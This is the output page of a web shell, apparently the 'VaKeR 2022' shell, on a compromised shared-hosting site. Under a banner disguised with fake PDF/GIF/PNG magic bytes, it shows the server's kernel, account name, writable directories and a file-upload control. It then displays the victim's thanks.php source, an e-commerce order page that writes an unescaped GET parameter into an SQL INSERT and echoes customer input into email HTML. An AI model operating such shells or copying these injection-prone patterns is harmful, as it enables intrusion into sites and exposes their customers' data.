%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_93b53270/thanks.php
<?php
include 'config.php';

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(0);

$query_website=mysqli_query($conn,"SELECT * FROM `system_settings` WHERE `id`=1");
$rows_website=mysqli_fetch_array($query_website);
global $rows_website;
$base_url=$rows_website['website_url'];
$admin_url=$rows_website['website_url']."admin/";
$favicon=$rows_website['favicon'];
$website_name=$rows_website['website_name'];

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

if (!isset($_SESSION['cart_value'])) {
  echo "<script>window.location='" . $base_url . "products.php';</script>";
}else{

$appointment_row = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM appointment_tbl WHERE id=1"));

$grndTotalAed = str_replace("'", "\'", $_SESSION['cart_value']['grndTotalAed']);
$CarPickup = str_replace("'", "\'", $_SESSION['cart_value']['CarPickup']);
$CarDrop = str_replace("'", "\'", $_SESSION['cart_value']['CarDrop']);
$instant = str_replace("'", "\'", $_SESSION['cart_value']['instant']);
$monthyearinput = str_replace("'", "\'", $_SESSION['cart_value']['monthyearinput']);
$date = str_replace("'", "\'", $_SESSION['cart_value']['date']);
$time = str_replace("'", "\'", $_SESSION['cart_value']['time']);
$name = str_replace("'", "\'", $_SESSION['cart_value']['name']);
$phonecode = str_replace("'", "\'", $_SESSION['cart_value']['phonecode']);
$phone = str_replace("'", "\'", $_SESSION['cart_value']['phone']);
$email = str_replace("'", "\'", $_SESSION['cart_value']['email']);
$country = str_replace("'", "\'", $_SESSION['cart_value']['country']);
$state = str_replace("'", "\'", $_SESSION['cart_value']['state']);
$city = str_replace("'", "\'", $_SESSION['cart_value']['city']);
$postcode = str_replace("'", "\'", $_SESSION['cart_value']['postcode']);
$address = str_replace("'", "\'", $_SESSION['cart_value']['address']);
$minor_charg = str_replace("'", "\'", $_SESSION['cart_value']['minor_charg']);
$labor_charg = str_replace("'", "\'", $_SESSION['cart_value']['labor_charg']);
$vat_value = str_replace("'", "\'", $_SESSION['cart_value']['vat_value']);
$vat = $appointment_row['vat'];

$coupon_id = $_SESSION['coupon_id'] || '';
if (!empty($coupon_id)) {
    $coupon_id = mysqli_real_escape_string($conn, $coupon_id);
    $result = mysqli_query($conn, "SELECT * FROM coupon_tbl WHERE id = '$coupon_id'");
    $coup_data = mysqli_fetch_assoc($result);
    $discount = $coup_data['discount'] ?? '';
    $coupon = $coup_data['coupon'] ?? '';
} else {
    $discount = '';
    $coupon = '';
}
$currency = 'AED';
$recieve_date = date('Y-m-d H:i:s');
$transaction_id = $_GET['txn_id'];
$user_id = $_SESSION['user_id'];
$user_type = 'User';

$myqli_query_order = mysqli_query($conn, "INSERT INTO `order_tbl` SET 
`user_id` = '$user_id',
`user_type` = '$user_type',
`currency` = '$currency',
`grndTotalAed` = '$grndTotalAed',
`CarPickup` = '$CarPickup',
`CarDrop` = '$CarDrop',
`instant` = '$instant',
`monthyearinput` = '$monthyearinput',
`date` = '$date',
`time` = '$time',
`name` = '$name',
`phonecode` = '$phonecode',
`phone` = '$phone',
`email` = '$email',
`country` = '$country',
`state` = '$state',
`city` = '$city',
`postcode` = '$postcode',
`address` = '$address',
`minor_charg` = '$minor_charg',
`labor_charg` = '$labor_charg',
`coupon` = '$coupon',
`discount` = '$discount',
`vat` = '$vat',
`vat_value` = '$vat_value',
`transaction_id` = '$transaction_id',
`recieve_date` = '$recieve_date',
`status` = '1'");

$ord_ido = mysqli_insert_id($conn);
$spri = sprintf("%04d", $ord_ido);
$order_id = "ORDER" . $spri;
mysqli_query($conn, "UPDATE `order_tbl` SET `order_id`='$order_id' WHERE id='$ord_ido'");


foreach ($_SESSION['cart'] as $productId => $items_cart) {

  $price    = $items_cart['price'];
  $sevi_id  = $items_cart['sevi_id'];
  $oil_id   = $items_cart['oil_id'];
  $quantity    = $items_cart['quantity'];
  $total = $items_cart['total'];
  $parts    = $items_cart['parts'];
  $part_ids = !empty($items_cart['parts']) ? implode(",", $items_cart['parts']) : '';


  $fetch_row = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_tbl WHERE id='$productId'"));

  // 🟦 Determine service and oil tables
  if (!empty($fetch_row['service_id']) && $fetch_row['service_id'] != 0) {
    $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM sevice_tbl WHERE id='" . $fetch_row['service_id'] . "'"));
    $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_tbl WHERE id='$oil_id'"));
    $part_table = "part_tbl";
  } else {
    $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_product_sevice_tbl WHERE id='" . $fetch_row['cat_id'] . "'"));
    $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_pro_tbl WHERE id='$oil_id'"));
    $part_table = "part_pro_tbl";
  }

  if (!empty($sevi_id) || !empty($parts)) {

    if (!empty($oil_id) && $oil_id != 0 && !empty($fetch_oil)) {
      $oil_title      = $fetch_oil['title'];
      $oil_mobil_code = $fetch_oil['mobil_code'];
      $oil_price      = $fetch_oil['price'];
    }

    $part_titles = [];
    $part_prices = [];

    if (!empty($parts) && is_array($parts)) {
      foreach ($parts as $part) {
        $fetch_part_query = mysqli_query($conn, "SELECT * FROM $part_table WHERE id='$part'");
        while ($fetch_part = mysqli_fetch_assoc($fetch_part_query)) {
          $part_titles[] = $fetch_part['title'];
          $part_prices[] = $fetch_part['price'];
        }
      }
    }
  }

  $part_title_str = !empty($part_titles) ? implode(", ", $part_titles) : '';
  $part_price_str = !empty($part_prices) ? implode(", ", $part_prices) : '';

  $myqli_query_order_details = mysqli_query($conn, "INSERT INTO `order_detail_tbl` SET 
        `order_id` = '$order_id',
        `user_id` = '$user_id',
        `productId` = '$productId',
        `price` = '$price',
        `total` = '$total',
        `sevi_id` = '$sevi_id',
        `oil_id` = '$oil_id',
        `parts` = '$part_ids',
        `quantity` = '$quantity',
        `oil_title` = '$oil_title',
        `oil_mobil_code` = '$oil_mobil_code',
        `oil_price` = '$oil_price',
        `part_title_str` = '$part_title_str',
        `part_price_str` = '$part_price_str',
        `recieve_date` = '$recieve_date',
        `type` = '$type',
        `status` = '1'");
}

if ($_SESSION['user_id']) {
  $fetch_user = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM `user_tbl` WHERE user_id='" . $_SESSION['user_id'] . "'"));
  if (isset($_SESSION['discount']) && isset($_SESSION['coupon'])) {
    $coupon_query = mysqli_query($conn, "SELECT * FROM `coupon_tbl` WHERE `id` = '$coupon_id'");
    $coupon_data = mysqli_fetch_assoc($coupon_query);
    $coupon_id = $coupon_data['id'];
    $coupon_ids = $fetch_user['coupon_id'];
    $quantity = $coupon_data['quantity'] - 1;
    $used = $coupon_data['used'] + 1;
    mysqli_query($conn, "UPDATE `coupon_tbl` SET `quantity`='$quantity', `used`='$used' WHERE `id` = '$coupon_id'");


    $couponArray = explode(",", $coupon_ids);
    $couponArray = array_diff($couponArray, [$coupon_id]);
    $new_coupon_ids = implode(",", $couponArray);
    mysqli_query($conn, "UPDATE `user_tbl` SET `coupon_id`='$new_coupon_ids' WHERE user_id='" . $_SESSION['user_id'] . "'");
  }
}

$_SESSION['thanks'] = $order_id;


$email_temp = '<!DOCTYPE html>
<html>
<head>
    <title>' . $rows_website['website_name'] . '</title>
    <style>
        * {
            padding: 0;
            margin: 0;
            list-style: none;
            box-sizing: border-box;
            text-decoration: none;
        }

        body {
            font-family: sans-serif;
            padding: 20px;
        }

        .row {
            display: flex;
            flex-wrap: wrap;
            margin-top: 4%;
        }

        .col-7 {
            flex: 0 0 60%;
            max-width: 60%;
            padding-right: 8%;
        }

        .col-5 {
            flex: 0 0 40%;
            max-width: 40%;
            padding-right: 8%;
        }


        .section1 {
            /* display: flex; */
            /* justify-content: space-between; */
        }

        .section1 h6 {
            align-content: center;
            font-size: 17px;
            float: right;
            margin-top: 6%;
        }

        .section1 h6 span {
            color: #9f9f9f;
            font-size: 15px;
        }

        .pro_img {
            vertical-align: middle;
        }

        .pro_img img {
            vertical-align: middle;
        }

        .col-7 p {
            margin: 0 0 20px;
        }

        .col-7 a.oredr-btn {
            display: block;
            text-align: center;
            background: #E2000F;
            color: white;
            padding: 15px 0;
            margin-bottom: 20px;
            font-weight: 500;
            border-radius: 10px;
        }

        ul li {
            display: flex;
            margin-bottom: 15px;
            border-bottom: 2px solid #cccccc42;
            padding-bottom: 15px;
            /* justify-content: space-between; */
        }

        ul h4 {
            margin-bottom: 25px;
        }

        ul li img {
            width: 100px;
            box-shadow: 0 0 3px #d0d0d0;
            border-radius: 12px;
            object-fit: cover;
            height: 100px;
        }

        ul li p {
            align-content: center;
            margin: 0 8px !important;
            display: inline-block;
        }

        ul li b {
            align-content: center;
            float: right;
            display: inline-block;
            margin-top: 5%;
        }

        ul li p span {
            display: block;
            color: #727272
;
            font-size: 14px;
        }

        li.total {
            display: block;
        }

        li.total p {
            margin-bottom: 10px !important;
            display: block;
        }

        li.total p span {
            float: right;
            color: #000;
            font-weight: 700;
            font-size: 16px;
        }

        .custom-info h6 {
            font-size: 20px;
            margin-bottom: 30px;
        }

        .custom-info b {
            margin-bottom: 6px;
            display: block;
        }
        .customize {
            margin: 0 15px;
        }
                .customize small {
            display: block;
        }
        .cus-img {
            display: flex;
            text-align: center;
        }
        .cus-img img {
            width: 50px;
            margin: 4px;
            height: 90px;
        }
        .customize small b {
            display: contents;
        }
        .prt b {
            display: flex;
        }
        .prt_co p {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="emailer">
        <strong>Order: ' . $order_id . ' confirmed, YEY!</strong>
        <br>
        <strong>User ID: ' . $user_id . '</strong>
        <div class="section1">
            <img src="' . $base_url . 'images/Upload/logo/' . $rows_website['logo'] . '" alt="">';


$email_temp .= '<h6><span>Total:</span> ' . $currency . '&nbsp;' . $grndTotalAed . '</h6>
        </div>
        <div class="row">
            <div class="col-7">
                <p>Hi ' . $name . ', thank you for your purchase! We are getting your order ready to be shipped. We will notify you when it has been sent.</p>';
if ($type != 'Geust') {
  $email_temp .= '<a href="' . $base_url . 'my-orders.php" class="oredr-btn">View Your Order</a>';
}
$email_temp .= '<ul>
                    <h4>Order Summary</h4>';


foreach ($_SESSION['cart'] as $productId => $items_cart) {

  $price    = $items_cart['price'];
  $sevi_id  = $items_cart['sevi_id'];
  $oil_id   = $items_cart['oil_id'];
  $quantity    = $items_cart['quantity'];
  $total = $items_cart['total'];
  $parts    = $items_cart['parts'];
  $grndTotalUsd += $total;

  $fetch_row1 = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_tbl WHERE id='$productId'"));

  // 🟦 Determine service and oil tables
  if (!empty($fetch_row1['service_id']) && $fetch_row1['service_id'] != 0) {
    $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM sevice_tbl WHERE id='" . $fetch_row1['service_id'] . "'"));
    $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_tbl WHERE id='$oil_id'"));
    $part_table = "part_tbl";
  } else {
    $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_product_sevice_tbl WHERE id='" . $fetch_row1['cat_id'] . "'"));
    $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_pro_tbl WHERE id='$oil_id'"));
    $part_table = "part_pro_tbl";
  }


  $email_temp .= '
                        <li class="pro_img">
                            <a href="' . $base_url . $fetch_row1['slug'] . '-serv.php"><img src="' . $base_url . 'images/Upload/product/' . $fetch_row1['image1'] . '" alt=""></a>
                            <p>Details <br>
                            <span>Name: <a href="' . $base_url . $fetch_row1['slug'] . '-serv.php" style="color:inherit">' . $fetch_row1['title'] . '</a></span>';
                        if (!empty($sevi_id) || !empty($parts)) {
                          if ($oil_id != 0) {
                            $email_temp .= '<span>' . $fetch_oil['title'] . ", " . $fetch_oil['mobil_code'] . ", AED " . $fetch_oil['price'] . '</span>';
                          }

                          if ($fetch_row['service_id'] != 0 && !empty($fetch_row['service_id'])) {
                            foreach ($parts as $part) {
                              $fetch_part_query = mysqli_query($conn, "SELECT * FROM part_tbl WHERE id='$part'");
                              while ($fetch_part = mysqli_fetch_assoc($fetch_part_query)) {
                                $email_temp .= '<span>' . $fetch_part['title'] . ", AED " . $fetch_part['price'] . '</span>';
                              }
                            }
                          } else {
                            foreach ($parts as $part) {
                              $fetch_part_query = mysqli_query($conn, "SELECT * FROM part_pro_tbl WHERE id='$part'");
                              while ($fetch_part = mysqli_fetch_assoc($fetch_part_query)) {
                                $email_temp .= '<span>' . $fetch_part['title'] . ", AED " . $fetch_part['price'] . '</span>';
                              }
                            }
                          }
                        }
  $email_temp .= '</p>
                            <p>Price <span>' . $currency . ' ' . $price . '</span></p>
                            
                            <p>Total <span>' . $currency . ' ' . $total . '</span></p>
                        </li>';
}

// <p>Quantity <span>' . $quantity . '</span></p>

$email_temp .= '
                    <li class="total">
                        <p>Subtotal : <span>' . $currency . " " . $grndTotalUsd . '</span></p>';
if ($minor_charg != 0) {
  $email_temp .= '<p>Minor Charges : <span>' . $minor_charg . '</span></p>';
}
if ($labor_charg != 0) {
  $email_temp .= '<p>Labor Charges : <span>' . $labor_charg . '</span></p>';
}

if ($CarPickup > 0) {
  $email_temp .= '<p>Car Pickup : <span>' . $currency . " " . $CarPickup . '</span></p>';
}

if ($CarDrop > 0) {
  $email_temp .= '<p>Car Drop-off : <span>' . $currency . " " . $CarDrop . '</span></p>';
}

if ($instant > 0) {
  // $email_temp .= '<p>Instant Charge : <span>' . $currency . " " . $instant . '</span></p>';
}

// $email_temp .= '<p>Timing & Date : <span>'.$monthyearinput.' - ' . $date . " - " . $time . '</span></p>';

if (!empty($_SESSION['coupon']) && !empty($_SESSION['discount'])) {
  $discount = $_SESSION['discount'];
  $coupon_code = $_SESSION['coupon'];
  $email_temp .= '
                        <p>Applyed Coupon : <span>' . $coupon_code . '</span></p>
                        <p>Coupon Discount : <span>AED ' . $discount . '</span></p>';
}

$email_temp .= '
                        <p>VAT : <span>' . $vat . '% - (' . $currency . " " . $vat_value . ')</span></p>
                        <p>Grand Total : <span>' . $currency . " " . $grndTotalAed . '</span></p>';

$email_temp .= '
                        </li>
                    </ul>
                </div>
                <div class="col-5">
                    <div class="custom-info">
                        <h6>Customer Information</h6>
                        <p><strong>Name : </strong>' . $name . '</p>
                        <p><strong>Email : </strong>' . $email . '</p>
                        <p><strong>Phone : </strong>' . $phone . '</p>
                        <p><strong>Country : </strong>' . $country . '</p>
                        <p><strong>State : </strong>' . $state . '</p>
                        <p><strong>City : </strong>' . $city . '</p>
                        <p><strong>Zip Code : </strong>' . $postcode . '</p>
                        <p><strong>Address : </strong>' . $address. '</p>';
                        if($instant > 0){
                        // $email_temp .= '<p><strong>Intant Services - '.$instant.'</strong></p>';
                        }
                        $email_temp .= '
                        <p><strong>Timing: </strong>'.$monthyearinput.' - '.$date.' - '.$time.'</p>
                    </div>
                </div>
            </div>
        </div>
    </body>
    </html>';

$email_setting = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `email_setting` WHERE id=1"));

$website_name = $rows_website['website_name'];
$host = $email_setting['host'];
$username = $email_setting['email'];
$password = $email_setting['password'];
$port = $email_setting['port'];

$mail = new PHPMailer(true);
$mail->isSMTP();
// $mail->SMTPDebug = 2; 
$mail->Host       = $host;
$mail->SMTPAuth   = true;
$mail->Username   = $username;
$mail->Password   = $password;
$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->Port       = $port;
$mail->CharSet    = 'UTF-8';
$mail->setFrom($username, $website_name);
$mail->addAddress($username);
$mail->addAddress($email); 
$mail->isHTML(true);
$mail->Subject = $website_name . ': Booking Enquiry';
$mail->Body    = $email_temp;
$mail->send();

?>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title><?= $rows_website['website_name'] ?></title>
  <link rel="icon" type="image/x-icon" href="<?= $base_url ?>images/Upload/logo/<?= $rows_website['favicon'] ?>">

  <style type="text/css">
    @import url('https://fonts.googleapis.com/css?family=Raleway:400,600,900');

    * {
      box-sizing: border-box;
      /* outline:1px solid ;*/
    }

    body {
      background: #d96e6e;
      height: 100%;
      margin: 0;
      background-repeat: no-repeat;
      background-attachment: fixed;

    }

    a {
      color: #000;
      text-decoration: none;
      transition: all 0.30s linear 0s;
    }

    .wrapper-1 {
      width: 100%;
      height: 100vh;
      display: flex;
      flex-direction: column;
    }

    .wrapper-2 {
      padding: 30px;
      text-align: center;
    }

    h1 {
      font-family: 'Raleway', Arial Black, Sans-Serif;
      font-size: 4em;
      font-weight: 900;
      letter-spacing: 3px;
      color: #0000;
      margin: 0;
      margin-top: 40px;
      margin-bottom: 40px;
    }

    .wrapper-2 p {
      margin: 0;
      font-size: 1.3em;
      color: #000;
      font-family: 'Raleway', sans-serif;
      letter-spacing: 1px;
      line-height: 1.5;
    }

    .go-home {
      background: #fff;
      border: none;
      padding: 25px 30px;
      margin: 30px 0;
      border-radius: 5px;
      cursor: pointer;
    }

    .go-home:hover {
      opacity: 0.9;
    }

    .go-home a {
      font-family: 'Raleway', Arial Black;
      font-size: 1rem;
      font-weight: 700 !important;
      text-transform: uppercase;
      letter-spacing: 2px;

    }

    .footer-like {
      margin-top: auto;
      background: rgb(31, 38, 130);
      padding: 6px;
      text-align: center;
    }

    .footer-like p {
      margin: 0;
      padding: 4px;
      color: #fafafa;
      font-family: 'Raleway', sans-serif;
      letter-spacing: 1px;
    }

    .footer-like p a {
      text-decoration: none;
      color: #5892FF;
      font-weight: 600;
    }

    .footer-like p a:hover {
      color: #FFF;
    }

    @media (min-width:360px) {
      h1 {
        font-size: 4.5em;
      }

      .go-home {
        margin-bottom: 20px;
      }
    }

    @media (min-width:600px) {
      .thankyoucontent {
        max-width: 1000px;
        margin: 0 auto;
      }

      .wrapper-1 {
        height: initial;
        max-width: 620px;
        margin: 0 auto;
        margin-top: 50px;
      }


    }
  </style>
</head>

<body>
  <!-- partial:index.partial.html -->
  <div class=thankyoucontent>
    <div class="wrapper-1">
      <div class="wrapper-2">
        <img src="<?= $base_url ?>images/Upload/logo/<?= $rows_website['logo'] ?>" alt="thank-you-envelope" border="0">
        <h2 style="color: #000;">Your Order Received Successfully</h2>
        <p style="font-size: 15px;">Thank you for placing your order with us. We have received your order and it is being processed. You will receive an email confirmation shortly with more details about your order.</p>
        <p class="mt-2">You Paid: <b><span style='color:#fff;'>AED <?= $grndTotalAed ?></span></b></p>
        <p>Order Number: <b><span style='color:#fff;'><?= $_SESSION['thanks'] ?></span></b></p>
        <p>Order Date: <b><span style='color:#fff;'><?= $recieve_date ?></span></b></p>

        <button class="go-home"><a href="<?= $base_url ?>" style="color: red;">
            home page</a>
        </button>
      </div>

      <?php
      unset($_SESSION['cart_value']);
      unset($_SESSION['cart']);
      unset($_SESSION['thanks']);
      unset($_SESSION['coupon']);
      unset($_SESSION['discount']);
      ?>

    </div>
    <!-- partial -->
  </div>

</body>

</html>

<?php } ?>

VaKeR 2022